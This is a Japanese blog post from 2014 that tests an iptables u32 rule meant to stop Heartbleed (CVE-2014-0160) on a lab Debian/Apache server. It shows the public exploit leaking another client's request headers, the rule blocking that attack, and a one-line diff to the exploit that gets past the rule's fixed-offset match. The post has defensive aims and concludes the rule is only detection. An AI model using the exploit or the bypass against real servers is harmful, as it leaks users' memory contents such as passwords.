heartbleedをiptablesで止めることについて

前書き

OpenSSLの脆弱性(CVE-2014-0160)が公開されました。
詳細はpiyokangoさんの素晴らしいまとめを参照してください。
OpenSSLの脆弱性(CVE-2014-0160)関連の情報をまとめてみた - piyolog

エフセキュアブログにて、トーマツの岩井さんが書いた興味深い記事がありました。
エフセキュアブログ : Openssl Heartbleed 攻撃の検知について

#根本的な対策ではなく、あくまで攻撃検知という意味で。
iptables log rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 "52=0x18030000:0x1803FFFF" -j LOG --log-prefix "BLOCKED: HEARTBEAT"

iptables block rules
iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 "52=0x18030000:0x1803FFFF" -j DROP

Full Disclosureなど色々な場所で同じフィルタを見かけていたので実際にこのフィルタを検証してみました。(Full Disclosure: Re: heartbleed OpenSSL bug CVE-2014-0160SecurityFocus

検証環境について

検証環境のサーバ

root@debian:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 7.4 (wheezy)
Release:	7.4
Codename:	wheezy

root@debian:~# openssl version -a
OpenSSL 1.0.1e 11 Feb 2013
built on: Sat Feb  1 22:14:33 UTC 2014
platform: debian-amd64
options:  bn(64,64) rc4(16x,int) des(idx,cisc,16,int) blowfish(idx) 
compiler: gcc -fPIC -DOPENSSL_PIC -DZLIB -DOPENSSL_THREADS -D_REENTRANT -DDSO_DLFCN -DHAVE_DLFCN_H -m64 -DL_ENDIAN -DTERMIO -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wa,--noexecstack -Wall -DMD32_REG_T=int -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DMD5_ASM -DAES_ASM -DVPAES_ASM -DBSAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM
OPENSSLDIR: "/usr/lib/ssl"

root@debian:~# apache2 -v
Server version: Apache/2.2.22 (Debian)
Server built:   Feb  1 2014 21:26:17

exploitが公開されているのでそれを使ってみます。
下のリンクなどアンチウイルスソフトに検知されるかもしれないので自己責任でお願いします。
exploit-db : OpenSSL 1.0.1f TLS Heartbeat Extension - Memory Disclosure (Multiple SSL/TLS versions)

この脆弱性ではメモリ情報が抜けるということですが、別端末とのSSL通信の一部が見えることは確認できました。
事前準備として別のクライアントからhttpsで通信を行いました。
識別しやすいように、リクエストヘッダに

X-Password: yasulib-test

という文字列を追加しました。
これが抜けることを確認していきます。

iptables適用前

% python heartbleed.py 192.168.11.101 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0300, length = 86
 ... received message: type = 22, ver = 0300, length = 704
 ... received message: type = 22, ver = 0300, length = 525
 ... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 74 2D 4C 61  ....#.......t-La
  00e0: 6E 67 75 61 67 65 3A 20 6A 61 2C 65 6E 2D 75 73  nguage: ja,en-us
  00f0: 3B 71 3D 30 2E 37 2C 65 6E 3B 71 3D 30 2E 33 0D  ;q=0.7,en;q=0.3.
  0100: 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67  .Accept-Encoding
  0110: 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D  : gzip, deflate.
  0120: 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65  .Connection: kee
  0130: 70 2D 61 6C 69 76 65 0D 0A 58 2D 50 61 73 73 77  p-alive..X-Passw
  0140: 6F 72 64 3A 20 79 61 73 75 6C 69 62 2D 74 65 73  ord: yasulib-tes
  0150: 74 0D 0A 0D 0A 4C 46 2E E0 7D D1 6A D7 52 9D 18  t....LF..}.j.R..
  0160: D7 2E F9 18 A6 BE 8E EE F7 06 06 06 06 06 06 06  ................

WARNING: server returned more data than it should - server is vulnerable!

別のクライアントからの通信の一部が見えていることが確認できると思います。
では対策をしてみます。

適用するiptablesのフィルタについて(被害者視点)

iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 "52=0x18030000:0x1803FFFF" -j DROP

u32モジュールの説明 IPTables U32 Match Tutorial

簡単な説明
 書式  : --u32 "Start&Mask=Range"
 Start : IPヘッダの先頭から検査するバイトまでのオフセット
 Mask  : Startの位置から4バイトを取得したあとで1バイトだけ検査したい時などに0x00ff0000といったように使用する
 Range : StartとMaskで指定した値がマッチするかチェックする範囲を指定する

今回のフィルタはIPヘッダの先頭から52バイト目にある4バイトの値が0x18030000:0x1803FFFFに入っているならDROPするというルールになっています。
それでは対象となる攻撃パケットを見てみます。

赤枠で囲っているのが攻撃パケットにあたるHeartbeat Requestです。
このパケットの中身を見てみます。

選択されている部分がTCPペイロード部分(Heartbeat Request)です。
黒塗りしてある部分はEther headerなので、45 00からがIPヘッダです。そこから52バイト進んで、4バイト抜き出すと

18 03 00 00

とあるのでこれは、フィルタの指定した0x18030000:0x1803FFFFに入っているのでマッチしてDROPされます。

実際に試してみます。

# サーバ側
root@debian:~# iptables -t filter -A INPUT  -p tcp --dport 443  -m u32 --u32 "52=0x18030000:0x1803FFFF" -j DROP
root@debian:~# iptables -nvL -t filter 
Chain INPUT (policy ACCEPT 69 packets, 5463 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            0.0.0.0/0            tcp dpt:443 u32 "0x34=0x18030000:0x1803ffff"

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination         

Chain OUTPUT (policy ACCEPT 34 packets, 3912 bytes)
 pkts bytes target     prot opt in     out     source               destination         
# 攻撃者
% python heartbleed.py 192.168.11.101                                                            
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0300, length = 86
 ... received message: type = 22, ver = 0300, length = 704
 ... received message: type = 22, ver = 0300, length = 525
 ... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable
Trying TLS 1.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0301, length = 58
 ... received message: type = 22, ver = 0301, length = 704
 ... received message: type = 22, ver = 0301, length = 525
 ... received message: type = 22, ver = 0301, length = 4
Sending heartbeat request...
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable
Trying TLS 1.1...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 704
 ... received message: type = 22, ver = 0302, length = 525
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable
Trying TLS 1.2...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0303, length = 58
 ... received message: type = 22, ver = 0303, length = 704
 ... received message: type = 22, ver = 0303, length = 527
 ... received message: type = 22, ver = 0303, length = 4
Sending heartbeat request...
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable

攻撃に失敗していることがわかります。
ではこのフィルタを回避してみましょう。

exploitの改修(攻撃者視点)

上述したとおり、このフィルタルールは52バイト目という決め打ちになっています。
いくつか回避する方法があると思います。例えばTCPヘッダのOptionsヘッダにNOPを入れることでオフセットをずらすなど。
他にもSSLには一つのパケットの中に複数のContentを入れることができます。
よく見るのはServer Helo, Certificate, Server Key Exchange, Server Hello Doneが1つのパケットにまとまっていることなどです。
この仕様を使っても、フィルタを回避できます。

% diff -u heartbleed.py heartbleed_yasulib.py
--- heartbleed.py	2014-04-13 10:32:51.931696641 +0900
+++ heartbleed_yasulib.py	2014-04-13 10:32:58.315696845 +0900
@@ -54,7 +54,7 @@
 	return hello
 
 def create_hb(version):
-	hb = h2bin('18 ' + version + ' 00 03 01 40 00')
+	hb = h2bin('16 ' + version + ' 00 03 01 40 00')	+ h2bin('18 ' + version + ' 00 03 01 40 00')
 	return hb
 
 def hexdump(s):

このコードを投げると次のようなEncrypted Handshake Message, Heartbeat Requestが入ったパケットが送信されます。

パケットの中身は次のようになっているので、

IPヘッダから52バイト進んで、4バイト抜き出すと

16 03 00 00

とあるのでこれは、フィルタの指定した0x18030000:0x1803FFFFに入っていないのでACCEPTされます。

% python heartbleed_yasulib.py 192.168.11.101 | grep -v "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0300, length = 86
 ... received message: type = 22, ver = 0300, length = 704
 ... received message: type = 22, ver = 0300, length = 525
 ... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
  0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
  0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
  0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
  00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
  00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
  00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
  00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 74 2D 4C 61  ....#.......t-La
  00e0: 6E 67 75 61 67 65 3A 20 6A 61 2C 65 6E 2D 75 73  nguage: ja,en-us
  00f0: 3B 71 3D 30 2E 37 2C 65 6E 3B 71 3D 30 2E 33 0D  ;q=0.7,en;q=0.3.
  0100: 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67  .Accept-Encoding
  0110: 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 0D  : gzip, deflate.
  0120: 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65  .Connection: kee
  0130: 70 2D 61 6C 69 76 65 0D 0A 58 2D 50 61 73 73 77  p-alive..X-Passw
  0140: 6F 72 64 3A 20 79 61 73 75 6C 69 62 2D 74 65 73  ord: yasulib-tes
  0150: 74 0D 0A 0D 0A A5 4D 34 62 08 5B BA 09 DF D9 CE  t.....M4b.[.....
  0160: 5F 74 74 17 14 A8 E8 42 E8 06 06 06 06 06 06 06  _tt....B........

WARNING: server returned more data than it should - server is vulnerable!

結論

岩井さんも書かれていますが、

#根本的な対策ではなく、あくまで攻撃検知という意味で。

という程度の認識であるべきです。
IDS/IPSの対応状況についてはpiyokangoさんがまとめてくれています。
OpenSSLの脆弱性(CVE-2014-0160)関連の情報をまとめてみた - piyolog

追記
Nessusのスキャンはこのiptablesのフィルタで防ぐことができているようでした。

# cat /opt/nessus/var/nessus/plugin_feed_info.inc 
PLUGIN_SET = "201404121015";
PLUGIN_FEED = "HomeFeed (Non-commercial use only)";

追記(4/19)
opensslのコードから脆弱性の解説をしている記事
巷を賑わすHeartbleedの脆弱性とは?! — Mobage Developers Blog